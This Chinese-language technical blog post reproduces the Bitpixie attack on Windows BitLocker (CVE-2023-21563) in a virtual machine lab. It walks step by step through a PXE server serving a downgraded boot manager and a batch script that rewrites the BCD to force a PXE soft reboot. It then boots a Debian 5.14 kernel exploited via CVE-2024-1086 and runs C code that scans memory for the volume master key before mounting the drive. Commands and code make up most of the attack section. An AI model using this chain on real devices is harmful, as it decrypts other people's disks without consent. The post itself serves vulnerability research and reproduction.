Bitpixie 漏洞(在引导加载程序的众多流程中,回退启动时磁盘加密密钥不会被删除)最初由 Rairii 发现,并被分配了 CVE 编号 CVE-2023-21563 。 该漏洞于 2022 年底修复,并于 2023 年 2 月公开披露。但由于安全启动标准中一些设计缺陷,该漏洞至今仍可被利用。

Thomas Lambertz 在 38c3 大会上首次公开演示了完整的攻击过程,并发表了两篇博客文章用于讲述原理,分别为 《Windows BitLocker – Screwed without a Screwdriver》《On Secure Boot, TPMs, SBAT, and downgrades – Why Microsoft hasn’t fixed BitLocker yet》

本文将基于 Thomas Lambertz 的两篇博客文章,结合 CVE-2023-21563 漏洞的相关信息,参考 syss的博客文章 复现该漏洞的攻击过程,并对其未讲述的部分进行补充。

漏洞复现前置知识

BitLocker 简介

引用翻译微软官方 Bitlocker 文档简单介绍以下 Bitlocker 的功能和作用:

Bitlocker 功能是 Windows 系统自带的一项安全功能,它通过加密驱动器来保护您的数据。这种加密方式可以确保即使有人试图离线访问磁盘,也无法读取其中的任何内容。

如果您的设备丢失或被盗,BitLocker 就显得尤为重要,因为它能保护您的敏感信息安全。它设计简洁易用,并与 Windows 操作系统无缝集成,因此设置和管理都非常便捷。

BitLocker 提供两种功能:

  • 设备加密:旨在简化使用,通常会自动启用。
  • BitLocker 驱动器加密:为高级场景设计,允许您手动加密驱动器。

在日常使用中,我们常用的配置是设备加密。为了实现这种易用性,设备加密被官方配置为在用户不知情的情况下自动解锁磁盘,Thomas Lambertz 称之为自动解锁(unattended unlock)。硬盘在静止状态下处于加密状态,但在合法的 Windows 系统启动时会自动解封,这意味着用户无需单独的磁盘解密密码——只需使用常用的用户帐户登录即可。

下面我们给出 Bitlocker 解锁的流程图:
BitLocker 解锁流程图

我们可以看见磁盘中存有四种数据:

  • 未加密的引导加载程序(unencrypted bootloader)
  • 卷主密钥(Volume Master Key, VMK)
  • 全卷加密密钥(Full Volume Encryption Key, FVEK)
  • 加密的用户数据

解密可以分为三步:

  1. 引导加载程序使用 TPM(Trusted Platform Module, 可信平台模块) 来解密存储在磁盘上的 VMK
  2. 有了解密后的 VMK,就可以解密 FVEK 了
  3. 最后,FVEK 用于解密所有数据

实际上,前面我们提到的 VMK 的解密方式有两种,分别是基于 TPM 的解密和基于密码的解密。

VMK 解密最简单的方法是让用户输入密码。虽然这不是默认设置,但系统支持此功能,称为启动前身份验证。恢复过程也类似:通常至少会生成一个恢复密码,该密码会在 BitLocker 设置过程中自动生成并保存在用户的 Microsoft 帐户中或打印出来。

恢复密钥示例

密钥ID是一个唯一标识符,用于区分不同的恢复密钥。它通常由一串字母和数字组成,长度为 8 个字符。密钥ID 可以帮助用户在需要使用恢复密钥时快速找到正确的密钥。

但是,在 Windows 内核启动之前就让用户输入密码,这未免太麻烦了,并且用户遗忘密码的情况也很常见。因此,微软默认配置为自动解锁磁盘,这就引入了基于 TPM 的解密方式。借助 TPM,一项名为 secure boot(安全启动) 的功能得以实现,它可以验证启动的 Windows 系统是否合法。只有当带有有效 Microsoft 签名的引导加载程序启动时,TPM 才会授予对 VMK 的访问权限。如果在解锁过程中出现任何问题,引导加载程序会提示用户使用 BitLocker 恢复界面。由于这种基于 TPM 和安全启动的解锁通常对用户不可见,因此它是一个不错的默认设置。

要查看特定 BitLocker 分区上的所有保护程序,可以使用命令 manage-bde -protectors -get c: 从 Windows 管理员控制台运行得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\Windows\system32>manage-bde protectors -get c: 
BitLocker驱动器加密:配置工具版本 10.0.22000
版权所有(c)2013 Microsoft Corporation。保留所有权利。

卷C:[]
所有密钥保护器

TPM:
ID:{55BB407F-07A5-45AA-A08B-65B6E0F909F5}
PCR 验证配置文件:
7, 11
(使用安全引导进行完整性验证)

数字密码:
ID:{1CA66922-E05F-4439-945A-04AA501A74AC}
密码:
645623-282480-372999-343244-478115-348623-459085-682066

以上展示的是我 Windows 11 系统的 C 盘的保护程序,它有两个保护机制:第一个是备份到 Microsoft 帐户的恢复密钥,第二个是带有默认 PCR 7,11 安全启动验证的 TPM 保护机制。如果您的 TPM 不是默认如此,不必惊慌,在后面物理机实现时会有如何修改的具体操作。

我们分析中使用的 PCR 值(Platform Configuration Registers, 平台配置寄存器)的具体含义,存储一个哈希值,通常是 SHA256 哈希值。无法直接将 PCR 设置为特定值。相反,我们需要向其中添加 “度量值”。此过程涉及将现有的 PCR 内容与新的度量值组合,对结果进行哈希处理,然后将其存储回寄存器中。此外,每个度量值都存储在 TPM 外部的事件日志中:
PCR 寄存器和事件日志

这里给出一部分重要 PCR 的具体内容,如果想更加深入了解的话可以去 PCR 官方文档

  • PCR 4:包含启动过程中涉及的所有启动管理器的哈希值
  • PCR 7:包括安全启动是否开启、系统信任的证书以及被吊销的证书列表
  • PCR 11:负责 BitLocker 访问控制,启动管理器在获取 VMK 后锁定寄存器。

Windows 启动程序

Windows 启动加载程序相当复杂,包含许多不同的选项。这里,我们只展示与此漏洞利用相关的部分。首先,让我们来看一个典型的 Windows 启动过程:
Windows 启动过程

简单讲解一下相关的流程:

  1. UEFI 固件使用安全启动机制检查 Windows 启动加载程序 bootmgfw.efi 的数字签名
  2. 启动加载程序读取启动配置数据(BCD),识别目标磁盘并读取其元数据。如果磁盘已使用 BitLocker 加密,则元数据包含加密的卷主密钥 (VMK)
  3. 请求 TPM 使用基于 PCR 的验证(例如,默认情况下为 PCR 7,11)解密 VMK
  4. 使用解密后的 VMK 来解锁全卷加密密钥 (FVEK),从而解密磁盘的其余部分
  5. 解密磁盘上的 Windows 内核及相关数据,链式加载程序 bootmgfw.efiwinload.efi,并最终启动 Windows 内核

在这个流程的每一步,都可能出现很多问题。如果引导加载程序遇到问题(例如,文件损坏或配置无效),它会尝试启动到恢复环境。具体操作是返回到 BCD,查找相关的恢复条目,然后尝试启动它。恢复映像可以是任何内容:它可能是另一个有效的 Windows 系统,可以解封磁盘,也可能不会。因此,在进入恢复环境之前,必须清除内存中的所有密钥(例如,VMK、FVEK)!如果密钥仍然保留在内存中,恢复环境可能会无意中泄露它们,或者被攻击者利用。

验证启动过程有两种不同的方法:度量启动和安全启动。两者结合使用,可以有效地保护启动过程免受各种攻击。以下简单讲解了这两种安全措施的工作原理以及它们在 Windows 启动过程中的结合方式。
安全启动和度量启动

在度量启动过程中,所有启动阶段都会测量下一个启动阶段的完整性(已启动二进制文件的哈希值和签名、启动参数等),并将此信息发送到可信平台模块 (TPM)。TPM 用作存储,将测量结果保存在专用的平台配置寄存器 (PCR) 中。每次测量结果都通过单向函数添加到特定的 PCR 中,通常使用 SHA256 作为哈希函数:

PCR[N]=HASHalg(PCR[N]||measurement)

重置 TPM 只能与系统完全重启结合使用(但并非总是如此)。TPM 可以通过仅在特定 PCR 寄存器具有特定值时才解封密钥来保护密钥。其理想目的是,只有在启动过程未被篡改的情况下,这些值才会被解封。

另一方面,安全启动通过验证加密签名来确保启动过程的完整性。启动过程的每个步骤都会针对一组受信任的证书颁发机构验证下一阶段的签名。只有签名测试通过,启动过程才会继续。在启用 BitLocker 的默认 Windows 启动过程中,安全启动用于验证启动链,而使用 TPM PCR 7 和 11 的测量启动则用于解封 BitLocker 密钥。当由于漏洞需要撤销签名,或者根证书过期时,安全启动的签名测试可能会导致问题。

这里简单介绍一种启动方式 PXE 启动,和我们漏洞强相关。预启动执行环境(Preboot eXecution Environment,PXE)也被称为预执行环境,提供了一种使用网络接口(Network Interface)启动计算机的机制。这种机制让计算机的启动可以不依赖本地数据存储设备(如硬盘)或本地已安装的操作系统。

PXE 协议大致上结合了 DHCP 和 TFTP,虽然都有在两者上面有改进。DHCP 用于查找合适的启动伺服器,TFTP 用于下载初始引导程序和附加文件。PXE 启动是指联系启动服务,和一个正在启动系统的启动服务联系必须有一个 IP 地址(可能来自 DHCP 服务)。

详细了解 PXE 启动的过程可以参考微软官方文档 《了解 Configuration Manager 中的 PXE 启动》

Bitpixie 漏洞利用原理

问题出现在名为 “PXE 软重启” 的特定流程中。当启动失败时,该流程本应通过网络加载恢复映像,而无需完全重启系统。然而,引导加载程序在尝试执行此操作之前忘记擦除 VMK(用于解锁 BitLocker 加密磁盘的关键数据)。因此,在 PXE 启动期间或之后加载的任何代码都可能访问 VMK。
错误启动

实际上,新的引导加载程序已经修复了这个问题。但情况并非如此简单。还记得吗?如果任何合法的 Windows 系统启动, TPM 就会提供 VMK 文件。默认情况下,没有额外的验证。这意味着我们可以简单地将引导管理器降级到仍然存在漏洞的版本。而且,找到一个旧版本并不难。

下面制定一个漏洞利用计划:

  1. 通过 PXE 启动进入降级且存在漏洞的引导加载程序
  2. 提供 “可以利用” 的启动配置
    • 使用 TPM 解锁 BitLocker 加密分区
    • 故障严重到足以触发恢复流程,进入 PXE 软重启
  3. 启动进入Linux系统,扫描物理内存以查找VMK文件
  4. 使用 VMK 挂载 BitLocker 分区并授予读写访问权限

步骤 1:使用 PXE 启动到降级后的加载启动程序

如果你用过 PXE,你可能知道它的设置相当麻烦。好在我们的场景要简单得多。这里我们只需要两台设备:攻击者设备和受害者设备。不需要完整的网络!我们只需要用网线把两台设备连接起来,建立点对点连接即可。

这样一来,我们就可以利用 dnsmasq 这个工具,它包含了我们进行此操作所需的一切:

1
2
3
4
5
6
7
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp

具体过程如下:在攻击者设备上,我们首先 dnsmasq 连接到受害者的网络接口。我们选择一个任意的 DHCP 地址范围,并将选项设置 dhcp-boot 为我们降级后的引导加载程序的文件名。我们启用 TFTP 来传输所有必要的文件,包括存在漏洞的引导加载程序,并启用日志记录。

我们该从哪里弄到这个 “降级启动管理器” 呢? 其实方法有很多种。关键在于它必须早于 2022 年 11 月(版本 25236),因为 PXEboot 漏洞在那之后才被修复。例如,旧的 Windows ISO 镜像可能就是这种情况。

步骤 2:通过提供启动配置来解锁 BitLocker 分区

除了 bootmgfw.efi 主文件之外,还需要一些辅助文件。如果我们从合法的 EFI 分区复制启动管理器,可以直接从该分区获取所有文件。否则,我们可以查看 dnsmasq 中的 TFTP 日志,了解启动管理器请求了哪些文件。大多数文件都是非必要的资源,例如字体和 UI 元素。如果缺少这些文件,启动管理器仍然可以运行,但界面会比较简陋,仅显示文本。我们需要关注的关键部分是一个配置文件:启动配置数据 (BCD),位于 $TFTP/Boot/BCD。BCD 文件类似于Linux 中的 grub.cfg。它描述了所有可用的启动选项和回退方案,并指定了启动分区、内核以及相关参数等详细信息。

关于 BCD 的官方文档比较少,虽然有些资源已经还原了它的大部分结构。该文件是一个 Windows 注册表单元,理论上可以使用任何注册表编辑工具进行编辑。但实际上,其中包含许多 magic numbers,因此这种方法并没有太大帮助。建议使用微软官方的 bcdedit.exe 工具,该工具已预装在所有 Windows 系统中。

bcdedit 有一些隐藏参数,它们能提供一些帮助:使用 bcdedit /store testbcd /enum all 或者 bcdedit /store testbcd /enum all /raw 可以打印 BCD 文件中的原始值。如果没有 --raw 参数,则会进行一些美化打印,例如隐藏分区 GUID 并将其替换为相应的驱动器号(例如,partition=C:)。

以下是一些有助于了解更多信息的资源:

好了,现在我们知道如何编辑 BCD 文件了。但是应该往里面放什么呢?这是整个漏洞利用链中最棘手的部分,因为一旦出错,你几乎得不到任何反馈。回想一下我们试图复现的漏洞:我们希望引导加载程序尝试从 BitLocker 分区启动,启动失败,然后触发 PXE 软重启进入我们控制的操作系统。

实现此功能的最简单方法分为三个部分:

  1. 从受害者的设备中获取原始 BCD 文件。这可以确保配置与特定的分区 GUID 匹配。您可以通过按住 Shift 键重启 Windows,然后依次选择 “疑难解答 -> 高级选项 -> 命令提示符”,挂载启动分区,并将其内容复制到 U 盘来完成此操作。或者,如果您无法访问 U 盘,可以使用更高级的方法,即 SMB 挂载。
1
2
mountvol s: /s
Copy-Item S:/EFI D:/efi-copy -Recurse
  1. 使用以下命令 bcdedit 为 PXE 软重启创建一个新的启动项。
1
bcdedit /store BCD_modded /create /d "softreboot" /application startup

我们指定了一个自定义存储,因此我们操作的是该文件,而不是系统存储。我们创建一个新的启动应用程序,并为其指定一个任意名称,这里是 “softreboot”。然后,我们需要配置它以使用 pxesoftreboot

1
2
3
bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes

请注意,我们设置了路径 shimx64.efi。这是选择此启动项时将加载的引导加载程序。

  1. 将此新的启动选项作为恢复选项添加到默认启动项中,并修改默认启动项以始终触发恢复。我们通过设置路径来实现这一点。通过指向一个有效路径但指向一个无效内核,引导加载程序将失败,但仍会解锁 BitLocker 分区,并将卷主密钥 (VMK) 保留在内存中。任何其他语法上有效但不指向可引导内核的路径也同样有效:
1
2
3
4
bcdedit /store BCD_modded /set {default} recoveryenabled yes
bcdedit /store BCD_modded /set {default} recoverysequence {<reboot guid>}
bcdedit /store BCD_modded /set {default} path "\\"
bcdedit /store BCD_modded /set {default} winpe yes

我们无法创建一个适用于所有目标系统的通用 BCD。这是因为在我们刚刚复制的 BCD 中,有一个 DEVICE 属性指定了要从中启动的分区 GUID。该 GUID 因系统而异,因此 BCD 必须针对目标系统进行定制。如果此 GUID 错误,引导管理器将不会尝试任何磁盘解封操作,并且 VMK 也不会保留在内存中。虽然可以编辑 GUID(也可以从目标设​​备的命令提示符或磁盘元数据中找到),但通常更简便的方法是复制原始 BCD 并对其进行修改。

从恢复命令提示符执行的完整 BCD 编辑过程如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
@echo off
bcdedit /export BCD_modded
:: 导出当前系统完整的BCD(启动配置数据)到当前目录的BCD_modded文件
:: 后续所有修改都在这个副本上进行,不会直接修改系统正在使用的BCD

bcdedit /store BCD_modded /create /d "softreboot" /application startup>GUID.txt
:: 在BCD_modded文件中创建一个新的启动应用程序项
:: /d "softreboot":设置启动项的显示名称为"softreboot"
:: /application startup:指定这是一个启动应用程序类型的项
:: > GUID.txt:将命令输出(包含新创建项的唯一GUID)重定向保存到临时文件GUID.txt

For /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i)
:: 解析GUID.txt文件,提取新创建启动项的GUID
:: tokens=2:取被分隔符分割后的第2个字段
:: delims={}:使用大括号{}作为字段分隔符
:: 将提取到的纯GUID字符串(不带大括号)赋值给变量REBOOT_GUID

del GUID.txt
:: 删除临时文件GUID.txt,清理脚本运行产生的垃圾文件

bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
:: 设置softreboot启动项的引导程序路径为EFI分区根目录下的shimx64.efi
:: shimx64.efi是Linux系统用于支持UEFI安全启动的引导加载程序

bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
:: 设置引导程序所在的设备为系统的EFI启动分区(boot分区)

bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes
:: 启用PXE软重启功能
:: 该参数会让系统在重启时直接进入此启动项,无需手动选择启动菜单

bcdedit /store BCD_modded /set {default} recoveryenabled yes
:: 启用默认启动项的系统恢复功能

bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%}
:: 设置默认启动项的恢复序列为我们刚创建的softreboot启动项
:: 当默认启动项启动失败时,系统会自动执行这个恢复序列

bcdedit /store BCD_modded /set {default} path "\\"
:: 将默认Windows启动项的引导程序路径设置为根目录(无效路径)
:: 这是核心技巧:故意让默认启动项启动失败,从而触发上面设置的恢复序列

bcdedit /store BCD_modded /set {default} winpe yes
:: 将默认启动项标记为WinPE环境
:: 进一步确保系统在启动失败时会进入恢复流程,而不是直接蓝屏

bcdedit /store BCD_modded /displayorder {%REBOOT_GUID%} /addlast
:: 将softreboot启动项添加到系统启动菜单的最后一位

setlocal
:: 开启局部变量作用域,脚本中定义的变量仅在脚本运行期间有效
:: 避免污染系统全局环境变量
:PROMPT
SET /P AREYOUSURE=Do you want to move the file to the SMB server on 10.13.37.100 (Y/[N])?
IF /I "%AREYOUSURE%" NEQ "Y" GOTO END
move BCD_modded S:\BCD
goto :EOF
:END
move BCD_modded C:\BCD
echo "BCD file was moved to C:\BCD"
goto :EOF
endlocal
:EOF
pause

步骤 3:启动操作系统,准备扫描内存中的 VMK 文件

启动到降级后的引导管理器和修改后的 BCD 非常简单:只需再次在 Windows 中使用 Shift + 重启 技巧。导航至 “使用设备 -> PXE 启动”。此操作将启动到降级后的引导管理器,加载 BCD,解封磁盘,内核启动失败,并执行 pxesoftreboot。由于我们控制了 PXE 服务器,因此我们可以提供一个自定义的引导映像,例如一个 Linux 系统。

一旦完成到这一步,就可以立即转储内存,扫描 VMK 文件,但是想要读取内存中的 VMK 文件并不容易。由于我们当前操作的系统仍然启用了安全启动,Windows 引导加载程序会检查下一阶段回退启动的签名。我们不一定需要通过网络启动进入 Windows,但有效载荷必须具有有效的安全启动签名。

我们直接使用 Linux 内核。现代发行版使用经过微软第三方安全启动证书认证的签名 “shim”(预启动加载程序)。还记得我们 shimx64.efi 在恢复条目中指定的路径 pxesoftreboot 吗?这就是它的来源。Linux 上的安全启动实现涉及多个层:

  • Shim:由微软签名,包含特定于发行版的密钥(尽管代码库相同),用于启动发行版签名的 grub
  • Grub:使用发行版密钥签名,仅加载发行版签名的内核

这意味着我们需要来自某个发行版的匹配的 shim、grub 和内核,并且该发行版的所有组件都已正确签名。选择一个支持安全启动的网络启动镜像,使用 PXEBoot 启动它,然后转储内存:

1
2
3
4
5
6
cat /dev/mem
cat: /dev/mem: Permission denied
sudo cat /dev/mem
cat: /dev/mem: Operation not permitted
sudo dmesg | tail -n 1
[328854.672148] Lockdown: cat: /dev/mem,kmem,port is restricted; see man kernel_lockdown.7

我们的内核已进入锁定模式。这是 Linux 内核的一项功能,用于保护自身免受 root 权限的攻击。在锁定模式下,任何内核修改,包括加载未签名模块,都会被阻止,即使攻击者拥有完整的 root 权限。这包括任何原始内存的读写操作。一旦启用,在运行的系统中就无法禁用锁定模式。

但是,所有支持微软签名安全启动的 Linux 发行版都会在启动时启用锁定模式。锁定机制相当可靠,已知的绕过方法都会被修复。几乎所有锁定绕过方法或原始内存读取方法(例如,损坏的驱动程序、ACPI 表、一些随机的 DMA 操作)都已失效。内核模块必须经过签名才能加载,所以这种方法也行不通。

那么需要打一个组合拳,先用 Windows 启动的漏洞让系统内存的 VMK 文件被泄漏出来,然后立即切换到一个绕过模式限制的 Linux 环境。这意味着我们需要一个能在最新的 shim 或者 grub 引导程序上启动的内核,这意味着它的签名是在发行版上次轮换签名密钥之后签名的。此外,我们必须确保 shim、grub 和内核都来自同一个发行版。更关键的是寻找一些已知存在漏洞的旧内核。对此,我们选择 Debian 5.14 内核。

运行 shim 和 grub 很简单——只需将它们放入 TFTP 文件夹即可。启动内核也不难,但初始文件系统(无论是 initrd 还是initramfs 内核)有点棘手。随便找一个旧的初始文件系统都可以,但内核模块会遇到问题,因为内核仍然处于锁定模式,会强制执行模块签名检查。我们需要 initrd 和内核匹配,合适的版本几乎没有,所以我们需要自行构建。

使用基于 Alpine 的 initrd 构建器:alpine-initrd。之前下载的 Debian 内核文件 .deb 中已经包含了版本和签名都匹配的正确内核模块,修改了 Dockerfile,将正确的内核模块复制到 Dockerfile,使用 depmod -a 让他们正常加载。

完成上面创建 initrd 后,,最后一步是配置 grub 来启动它。这需要在 TFTP 根目录中,内核以及 initrd 所在的文件夹旁的 $TFTP/grub 文件夹里面,创建一个 grub.cfg 文件,内容如下:

1
2
3
4
5
menu entry "Debian 5.14 with Alpine Initramfs" {
set gfxpayload=keep
linux debian-kernel-514
initrd alpine-initrd.xz
}

我们现在已经成功地通过 PXE 启动进入了 Debian 5.14 的安全启动系统。接下来是另一个有趣的部分:利用内核漏洞读取原始内存。利用 Debian 5.14 中的一个漏洞 CVE-2024-1086,已经公开了 PoC ,而且这个 POC 的一个分支,很适合这个用途,我们可以直接利用漏洞扫描 VMK。

步骤 4:使用 VMK 挂载 BitLocker 分区并授予读写访问权限

在内存中扫描可能为 VMK 数据的内容不难,可以通过扫描标记内存区域起始位置的指针 -FVE-FS- 来找到内存中的 VMK :

1
2d 46 56 45 2d 46 53 2d                           |-FVE-FS-|

这条指针后面跟着四个字节,偏移量为四个字节,其中包含版本号。我们要找的正确版本是版本 1:

1
2d 46 56 45 2d 46 53 2d  xx xx xx xx 01 00 00 00  |-FVE-FS-xxxx....|

之后,可以从内存转储中提取实际 VMK 内存的起始偏移量和结束偏移量:

1
2
2d 46 56 45 2d 46 53 2d  xx xx xx xx 01 00 00 00  |-FVE-FS-xxxx....|
20 00 00 00 e0 01 00 00 | ....... |

此处,内存区域的起始偏移量为 0x00000020,结束偏移量为 0x000001e0。可以扫描此范围以查找 VMK。Thomas 发现这些字节 03 20 01 00 标记了 32 字节长的 VMK 的起始位置。

整体逻辑如下所示:
VMK 扫描逻辑

下图显示了 VMK 内存区域的完整内存转储:
VMK 内存转储

下面是 Thomas 的演示 PoC 代码,展示了如何扫描内存中的 VMK 数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// Haystack search for the needle. 
// We have 'redirected' the pmd_data_area to point to physical memory with our PTE override above:
//printf("[+] haystack.\n");
void* pmd_vmk_hdr_addr = memmem(pmd_data_area, 0x200000, "-FVE-FS-", 8);
if (pmd_vmk_hdr_addr == NULL)
continue;

unsigned long long phys_vmk_hdr_addr = phys_base + (pmd_vmk_hdr_addr - pmd_data_area);

// We have found a potential VMK! hexdump the area around it!
printf("[+] found possible VMK base: %p -> %016llx\n", pmd_vmk_hdr_addr, phys_vmk_hdr_addr);
hexDump("VMK Candidate", pmd_vmk_hdr_addr, 0x10*40, 0x10);

uint32_t version = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4); // version
uint32_t start = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4+4); // start
uint32_t end = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4+4+4); // end
if (version != 1) {
printf("[+] VERSION MISMATCH! %d\n", version);
continue;
}
if (end <= start) {
printf("[+] NOT ENOUGH SIZE! %x, %x\n", start, end);
continue;
}

// Now we found the correct VMK struct, look for more bytes that signal start of VMK
// No idea what they actually represent,
// just bindiffed win10/11 struct in memory and found them to be constant here.
void* pmd_vmk_addr = memmem(pmd_vmk_hdr_addr, end, "\x03\x20\x01\x00", 4);
if (pmd_vmk_hdr_addr == NULL) {
printf("[+] VMK-needle not found!\n");
continue;
}

char* vmk = pmd_vmk_addr + 4;
printf("[+] found VMK at: %p \n", vmk);
/// [...]
fwrite(vmk, sizeof(char), 32, file);

有了 VMK 文件,挂载 BitLocker 分区也不简单,Windows 并不期望你事先准备好解密的 VMK 文件,而且也没有官方工具可以通过命令行界面使用它。

在 Linux 系统中,至少有两种工具可以挂载 BitLocker 磁盘: dislocker 和 cryptsetup。

dislocker 这个工具非常好用,因为它可以直接从命令行界面 (CLI) 获取 VMK 文件。它可以解密 BitLocker 卷并提供对其内容的访问权限。但遗憾的是,它目前在处理 Windows 11 24H2 上创建的分区时会出现问题。这个问题会导致工具无法解析磁盘,甚至无法尝试解密,不过我们还是使用其进行挂载。

另一个工具 cryptsetup 没有这个限制,可以与 24H2 磁盘配合使用。但它也有个小缺点——它只接受 FVEK 文件,不接受通过命令行界面 (CLI) 传递的 VMK 文件。不过,只需打个小补丁,cryptsetup 它就能直接接受 VMK 文件了。

以下是给定 VMK 时使用 dislocker 的典型方法:

1
2
3
4
5
modprobe fuse
mkdir bitlocker
dislocker -V $PARTITION -K vmk.dat -vvv -- bitlocker
mkdir mnt
mount -t ntfs-3g -o loop bitlocker/dislocker-file mnt

Bitpixie 破解 Bitlocker 实现

虚拟机复现。本机(攻击机)使用 Ubuntu 22.04.5 LTS 系统,受害机分别为 Windows 10 21H2 19041.1 和 Windows 11 21H2 22000.318,均启用了 BitLocker 加密。使用 QEMU 作为虚拟机管理器,使用 virt-manager 进行管理,这里我使用虚拟机 Windows 11 进行操作。

我的复现相关文件来源于 Syss 的 Github 仓库,在其基础上进行工具的版本适配以及一些意外情况的处理。可以做到下载直接使用,或者根据需要进行修改。虚拟机镜像文件来自于 UUP Dump,上面提供了各种 Windows 版本下载,下载后执行 cmd 文件或者 sh 文件即可以得到 ISO 镜像文件。

受害虚拟机环境搭建

对于 QEMU 和 virt-manager 的安装和使用,这里不再赘述,不过我们新下载的用户在 virt-manager 中通过 “Edit -> Preferences -> General -> Enable XML editing” 来启用 XML 编辑功能,这样我们就可以直接编辑虚拟机的 XML 配置文件了。

创建虚拟机时,选择 “Local install media (ISO image or CDROM)”,并选择之前下载的 Windows 11 ISO 镜像文件。分配适当的资源(CPU、内存、磁盘空间等),并最后一定要选择 “Customize configuration before install”,这样我们就可以在安装之前编辑配置文件了。在这里,可能在识别自动系统时有问题,这个时候我们可以自己动手选择 “Microsoft Windows 10/11”。

现在我们开始进行配置,最重要的一点(因为这个不能在后面改,其他的可以创建后重复修改),在 Overview 标签页中,选择 Firmware 为 “UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd”。如果没有选择这个的话直接删掉虚拟机重新布置,反正也不麻烦。
虚拟机 Overview 配置

然后进入 “Boot Options” 标签页,确保 “SATA CDROM 1” 被勾选,否则我们无法安装系统,您可以将 “SATA CDROM 1” 移动到列表顶部,这样启动时会简单一些。这个时候就可以直接创建了,我们安装后系统后再进行统一的其余配置修改。

看见 “Press any key to boot from CD or DVD…” 了么?按任意键进入安装界面,按照提示完成安装。如果一不小心进入了一下页面,不用惊慌选到 “Boot Manager” ,随后选择 “UEFI: QEMU DVD-ROM” 就可以回到原来的界面按任意键启动了。
Boot Manager

接下来安装系统,直接勾选没有产品密钥,安装专业版即可。后面就是注册账户什么乱七八糟的,建议直接脱机启动,减少麻烦。如果没有这个选项的话,使用 Shift + F10 打开命令提示符,输入 OOBE\BYPASSNRO 来启用脱机账户创建选项。

正常进来以后,可以在终端中输入 msinfo32 查看系统信息(物理机检查是否为 UEFI),然后直接关机,然后来改配置:

  1. TPM 在 “Add Hardware” 中添加 “TPM 2.0”。如果没有 TPM 就 “Add Hardware” 中添加 TPM 就可以了。
  2. 在 “SATA CDROM 1” 中,将 ISO 镜像文件替换为我们之前准备好的 virtio 镜像文件
  3. 进入 “Boot Options” 中,将 “NIC” 也勾选上。
  4. 在 “NIC” 中将 “Device model” 改为 “virtio”,并进入 XML 中加入 <rom enabled="no"/> 来启用网络引导,以下是示例:
1
2
3
4
5
6
7
8
<interface type="network">
<mac address="52:54:00:2f:53:4e"/>
<source network="default"/>
<model type="virtio"/>
<boot order="2"/>
<rom enabled="no"/>
<address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>

选用 virtio 的网络配置,主要是其网络硬件 “半虚拟化” 特性,直接和主机通信。同时,关闭网络引导 ROM 是为了直接让 UEFI 固件通过内置的 PXE 协议和 virtio 网卡通信避免在启动过程中出现不必要的干扰,确保我们能够顺利地进入系统并进行后续的配置和测试。

进入虚拟机,用 CD 驱动器安装 virtio 驱动,自动就帮我们配置好了,可以简单测试一下网络是否正常。随后,进行 Bitlocker 加密,可以在桌面新建一个 flag 文件,以便后续验证。

如果使用物理机进行复现的话,只需要用网线连接攻击机和受害机,不用配置 virtio,其他的配置基本上是一样的,唯一需要注意的是物理机的网络接口可能会有多个,需要选择正确的接口进行配置。

对于受害机的配置就完成了,然后直接关机,接下来我们就可以按照前面漏洞利用原理中制定的步骤来进行漏洞利用了。

攻击机配置与 Bitpixie 攻击

这里我们给出全流程攻击的参考图,可以先大致看一下流程,后面我们会逐步进行实现:
攻击流程

本机(攻击机)上必须安装以下软件包:

  • dnsmasq
  • impacket-smbserver
  • hivexregedit

在 Ubuntu 或者 Debian 上,可以使用以下命令安装:

1
sudo apt install dnsmasq libwin-hivex-perl python3-impacket

在项目给的文件中,执行 build.sh 文件生成 bitpixie-initramfs。如果要自行修改适配本地的环境,可以在 build.sh 中修改,配置自己想要的工具以及版本文件,然后执行重新生成 bitpixie-initramfs

然后,在终端输入 ifconfig 查询我们本机(攻击机)的虚拟网关,下面以我本机的为例子:

1
2
3
4
5
6
7
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 192.168.123.1 netmask 255.255.255.0 broadcast 192.168.123.255
ether 52:54:00:23:11:39 txqueuelen 1000 (Ethernet)
RX packets 46749 bytes 4384179 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67170 bytes 414459630 (414.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

使用以下命令启动用于 PXE 启动过程的 TFTP 服务器以及用于传输修改 BCD 文件的脚本的 SMB 服务器,填入我们刚刚查询的内容,我的是 virbr0

1
2
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
1
2
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>

